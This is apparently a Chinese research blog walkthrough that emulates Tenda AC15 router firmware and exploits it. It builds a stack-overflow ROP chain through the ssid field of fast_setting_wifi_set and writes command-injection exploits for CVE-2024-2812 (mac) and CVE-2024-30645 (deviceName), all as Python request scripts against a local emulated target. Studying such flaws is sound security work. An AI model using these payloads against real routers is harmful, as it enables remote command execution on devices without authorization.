AC15启动项分析,漏洞分析

1、固件模拟

复制代码
sudo chroot . sh
/bin/httpd

第一个问题,监听ip有问题

我们需要配置网卡

sudo brctl addbr br0

sudo ifconfig br0 192.168.100.3

这里我们设置br0网卡,启动web

成功启动,这里监听的就是我们设置的ip

这里我们可以运行这个脚本,所需要的文件都在这个路径下,我们启动脚本

这样就直接启动了一个arm的虚拟机

下一步

复制代码
ip link add br0 type dummy
ifconfig eth0 192.168.100.5/24
ifconfig br0 192.168.100.6/24

我们给他添加网卡br0和eth0

我们ssh连接一下,然后启动一下httpd服务,记录一下PID,2417

驱动gdbserver,远程gdb调试

复制代码
./gdbsever :1234 -attach 2417
/tmp/gdbserver)arm 192.168.0.2:1337 --attach 2417

经过了千辛万苦终于连接到了pwngdb,我们接下来查看漏洞点

复制代码
from pwn import *
readable_addr = 0x76dab000 + 0x64144
jump_addr = 0x56A9C
payload = b'a'*(0x7c) + p32(jump_addr)
url = "http://192.168.100.3/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=rsvcvb"}
data = {"ssid": payload}

response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)

exp

再次分析漏洞原理

首先我们从PUSH {R4,R5,R11,LR}开栈开始入手

复制代码
这里先假设sp初始值为0x1000
我们按照从右往左的顺序入栈

//SUB SP,SP,#0X270
0x270    <-sp


//ADD R11,sp,#0xc
0xff0    R4 <-sp现在位置
0xff4    R5
0xff8    R11
0xffc    LR       
0x1000   旧sp

所以我们第一个ADD操作,就是R4+0xc,也就是0xffc位置,也就是保存到我们LR返回地址
接着就是开栈为局部变量分配内存空间

IDA移动到该函数上面,可知s值为-0x7c,src值为-0x1c

所以上图的SUB R2,R11,#-s操作就是SUB R2=R11-0X7c

同样的LDR R3,[R11,#src]等价于LDR R3,[R11-0X1C]

关键在于payload构造

我们需要将函数返回地址覆盖,即将栈帧图中LR的数据覆盖掉的话,我们的payload给构造形式:

payload = b'a'*(0x7c) + p32(跳转地址)

但是这里因为src指针被覆盖掉,指向的内存出现问题会导致异常,所以我们拆分构造payload即可

b'a'*(0x6c) +p32(可正常访问地址,不超过64字节) + b'b'*(0x1c-4) + p32(目标跳转地址)

我们输入这个脚本,程序崩了

我们payload = b'a'* (0x60) + p32(readable_addr) + b'b'*(0x20-8)

所以,因为strcpy在遇到x00时会截断,所以这个readable_addr需要在libc库里找

因为这个库加载顺序比较靠前,所以他的程序基址会比较大,从而可读字符串的地址也会比较大,这样覆盖payload就不会因为地址里面有00被截断,我们在libc.so.0中的0x64144找到一个字符串HOME,我们用gdb调试的过程中用vmmap查看libc.so.0的基地址

我们基地址也找到了,0x76e10000,所以readable_addr地址就是0x76e10000+0x64144

再再再次构造exp

复制代码
import requests
from pwn import *
libc_base = 0x76d7e000
readable_addr = libc_base + 0x64144
jump_addr = 0x56A9C
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8) + p32(jump_addr)
url = "http://192.168.0.3/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}

response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)

这里我们的一些环境版有问题,修改脚本

看下是否跳转到我们设置的地址

我们接着往下走,看到了此时R2存储内容

这里看到了是我们存入的函数入口,然后再把函数R11压入栈。

确实跳转了,但是他跳转到了我们(readable_addr)函数位置,并且出不去了

这次我们重新尝试一遍,我们设置以下断点来查看程序进展

到了这里就无法继续下去了,这里就是向R1也就是0x766e74144地址读取字符串,就是我们中间想填充的,我们重新找下地址

这里是第一个strcpy,我们能看到R2已经存了我们的exp填入的值了,那我们就看pop能不能到我们的新的地址了,接着往第二个strcpy走

这是我们填充的值,就是字符串HOME

接着这就是第二个strcpy函数,我们关注pop能不能到我们设定的函数地址去

跳转成功了,接下来我们构造ROP链

我们找libc.so.0这里的库有没有要用的指令段

找下ROP链,我们跳转的push {fp,lr}只有一个可控的

我们需要调用system,而system所需参数是一个字符串,即一个char*类型的指针(R0)

我们想办法去找类似于MOV rEGISTER,sp的操作,最好接着直接跳到我们目标地址,然后再去构造将寄存器参数交给R0,最后调用system即可成达到RCE

根据上面的想法,还需要注意的一点是,MOV Register,sp之后如果像直接跳转到某个地址,不能说POP pc这种,因为他是栈上取数据的,而上面需要构造的MOV Regsiter,sp既要从栈上获取字符串,又要让栈上有跳转地址这种方案肯定不可取。

那么跳转指令只能考虑BLX Register这种操作,根据上面思路检索

这里我们选取0x00049c64这个地址

这里以我自己的话来讲就是,我们希望通过栈溢出和ROP来指向一个系统命令。比如system()函数,用来执行我们控制的命令

这里还有这样一段代码,就是把p

如何实现:

1、栈溢出,通过输入大量数据覆盖栈上的返回地址

2、ROP链,利用溢出的数据构造一个ROP链,让程序跳转到我们指定的地址并执行目标函数

关键步骤:

1、通过mov r0,sp设置r0:将栈指针sp的值(栈上的数据)加载到r0寄存器中,system()函数需要的参数是一个指向命令字符串的指针(即char*),我们将命令字符串放在栈上,r0就指向这个字符串

2、通过blx r3跳转到system():我们需要将r3寄存器设置为system()函数地址,blx r3会跳转到r3指向的地址并执行代码

3、找到合适的指令:我们可以使用类似于pop {r3,pc}指令,就可以从栈上提取出system()函数的地址,并跳转执行

最后的ROP链,构造system()地址的指令,执行system()通过mov,sp; blx r3;将栈指针存放命令的字符串,然后跳转到system(),执行指令

总结:MOV r0,sp:将栈上的命令字符串地址传给system()函数

BLX r3:跳转到r3寄存器存储的地址(system())

ROP链:通过站上的溢出数据来控制程序的执行,最终让程序执行我们想要的命令

1、逻辑串联起来就是选择pop {r3,lr}

这里的作用是给R3赋值然后lr存储跳转地址。R3(例如system()地址),LR会被设置为下一关跳转点,我们控制链的下一个地址

2、为了执行命令,我们需要将命令的字符串地址放入R0

设置R0为命令,我们需要将命令字符串地址放入R0寄存器中,因为在ARM中,R0是系统调用(如system的第一个参数),通过栈溢出,我们可以控制R0寄存器,将其设置为栈上存储的命令字符串地址

ROP构造:

假设我们执行/bin/sh

pop{r3,lr}

  • pop {r3, lr}
  • R3 存储 system() 的地址。
  • LR 存储 mov r0, sp; blx r3 的地址。
  • mov r0, sp
  • 栈上有命令 /bin/shsp 指向它,r0 通过这条指令将其传递给 system()
  • blx r3
  • 执行 system(),并执行 /bin/sh

第一个地址,选取pop链地址

复制代码
ROPgadget --binary libc.so.0 --only pop
0x00018298 : pop {r3, pc}               //pop地址

第二个地址,接着来找我们的几个地址,我们要找system()函数地址

复制代码
0x0005A270        //system()地址

第三个地址就是我们要构造命令执行的地址,也就是MOV R0,SP;BLX R3地址,这里我们查找需要使用ROPgadget工具,然后再筛选

复制代码
ROPgadget --binary libc.so.0 | grep "mov r0, sp"

我们需要自己去查找

就这样去找MOV R0,SP的地址,我们记录下来

复制代码
0x00049C64           //MOV R0,SP地址

ok,我们的偏移量都找全了,接下来就是构造payload了

复制代码
import requests
from pwn import *

target_ip = "192.168.100.6"                     //目标ip
target_port = 1234                              //开放端口

libc_base = 0x76dab000                          //libc库基地址
readable_addr = libc_base + 0x64144 #string 'HOME'    //我们在libc库中填充字符串的地址
system_offset = 0x0005A270                               //system的偏移,以libc为基地址
mov_r0_sp__blx_r3__offset = 0x00049C64                   //mov_r0_sp__blx_r3__offset偏移
pop_r3_pc_offset = 0x00018298                            //r3,pc偏移,pop偏移地址

cat = b'ps>proc_info.txt'                                //cmd执行的命令

payload = b'a' * (0x60) + p32(readable_addr) + b'b' * (0x1c-4) 
payload += p32(libc_base + pop_r3_pc_offset)
payload +=  p32(libc_base + system_offset) + 
payload +=p32(libc_base + mov_r0_sp__blx_r3__offset) + cmd

url = f"http://{target_ip}/goform/fast_setting_wifi_set" 
cookie = {"cookie": "password=qpacvb"}

data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)

这里我们创建一个proc_info.txt的文件

然后执行脚本

复制代码
import requests
from pwn import *

target_ip = "192.168.100.6"                   
target_port = 80                          
libc_base = 0x76dab000                        
readable_addr = libc_base + 0x64144 #string 'HOME'   
system_offset = 0x0005A270                            
mov_r0_sp__blx_r3__offset = 0x00049C64                
pop_r3_pc_offset = 0x00018298                        

cmd = b'ps>/tmp/proc_info.txt'                         

payload = b'a' * (0x60) + p32(readable_addr) + b'b' * (0x1c-4) 
payload += p32(libc_base + pop_r3_pc_offset)
payload += p32(libc_base + system_offset) 
payload += p32(libc_base + mov_r0_sp__blx_r3__offset) + cmd

url = f"http://{target_ip}/goform/fast_setting_wifi_set" 
cookie = {"cookie": "password=bem5gk"}

data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)

执行完,看看结果。

结果是这样

注入点所在位置

一定要注意到这个ssid就是我们要注入的参数,也能看到我们的src是经过sub_2BA8C函数处理过的

2、CVE-2024-2812

我们先看漏洞描述,尝试自己找一下漏洞点

复制代码
漏洞描述:Tenda AC15 15.03.05.18/15.03.20_multi 中发现漏洞。它已被归类为关键。
这会影响文件 /goform/WriteFacMac 的函数 formWriteFacMac。
对参数 mac 的操作会导致操作系统命令注入。可以远程发起攻击。

会影响文件/goform/WriteFacMac的函数formwriteFacMac,我们定位一下函数

成功定位到该函数,里面有一个参数a1,然后一个指针v3,我们过一遍逻辑

复制代码
sub_2BA8C(a1, "mac", "00:01:02:11:22:33")
web表单参数获取函数,从HTTP请求中找mac参数,如果用户没有提交该参数,用默认值,就是第三个参数


doSystemCmd("cfm mac %s", v3);
cfm是路由器常用后台命令工具,cmf mac 00:xx:xx....会把设备出场的MAC地址直接改写,这个操作是永久性的

这个后门函数就是不需要密码,任意修改设备出产MAC包括命令执行

漏洞点应该在于没过滤就直接拼接了字符串然后执行doSystemCmd了

其实这里就可以当作一个注入漏洞来做了,拼接一下

复制代码
  doSystemCmd("cfm mac %s", v3);
  doSystemCmd("cfm mac ";echo 1 > /tmp/proc.txt");

其实我们控制的是v3,把v3改成我们要拼接的命令即可

我们在这个函数入口下一个断点,pop位置也下一个断点

我们再使用pwngbd连接一下,然后打一下exp

复制代码
import requests
from pwn import*

ip = "192.168.100.6"
url = "http://" + ip + "/goform/WriteFacMac"
payload = ";echo 1 > proc.txt"

data = {"mac": payload}
cookie = {"cookie": "password=bem5gk"}
response = requests.post(url, cookies=cookie,data=data)
print(response.text)

第二个也成功了

我们要确定参数一定要看函数使用方法

这个CVE的参数就在函数的使用方法中,这个就是我们要注入的参数

第三个CVE-2024-30645

我们要找注入点要看参数,这里的参数就是deviceName

我们构造exp

复制代码
import requests
from pwn import*

target_ip = "192.168.100.6"
url = "http://" + target_ip + "/goform/setUsbUnload"
payload = ";echo 888 > ./webroot/666.txt"

data = {"deviceName": payload}
cookie = {"cookie": "password=zzf5gk"}
requests.post(url,cookies=cookie,data=data)
requests.post(url,cookies=cookie,data=data)

confir_url =f"http://"+ target_ip +"/666.txt"
r = requests.get(confir_url)
print(r.text) 

构造exp的时候,有些细节要注意,我们这个文件路径是/goform/setUsbUnload

然后我们的注入点是deviceName,cookie要换成自己的即可

复制代码
import requests
from pwn import *

target_ip = "192.168.100.6"
url = "http://" + target_ip + "/goform/setUsbUnload"

payload = ";echo 123 > ./webroot/nb666.txt"
data = {"deviceName":payload}
cookie = {"cookie": "password=zzf5gk"}
requests.post(url,cookies=cookie,data=data)
requests.post(url,cookies=cookie,data=data)

confir_url ="http://"+ target_ip + "/nb666.txt"
r = requests.get(confir_url)
print(r.text)

成功

相关推荐
嫂子的姐夫21 小时前
005-AES:采招网
爬虫·逆向·aes加密
嫂子的姐夫2 天前
004-MD5_易车网
爬虫·python·逆向·加密
介一安全3 天前
【Frida Android】实战篇14:非标准算法场景 Hook 教程
android·网络安全·逆向·安全性测试·frida
介一安全4 天前
【Frida Android】实战篇13:企业常用非对称加密场景 Hook 教程
android·网络安全·逆向·安全性测试·frida
Kapibalapikapi4 天前
工具 | netcat, netstat
网络·笔记·逆向
360安全应急响应中心5 天前
VMP的手动分析和AI还原
逆向
胡八一5 天前
Ghidra逆向分析工具使用
逆向
TouchWorld5 天前
iOS逆向-哔哩哔哩增加3倍速(1)-最大播放速度
ios·逆向
介一安全7 天前
【Frida Android】实战篇12:企业常用对称加密场景 Hook 教程
android·网络安全·逆向·安全性测试·frida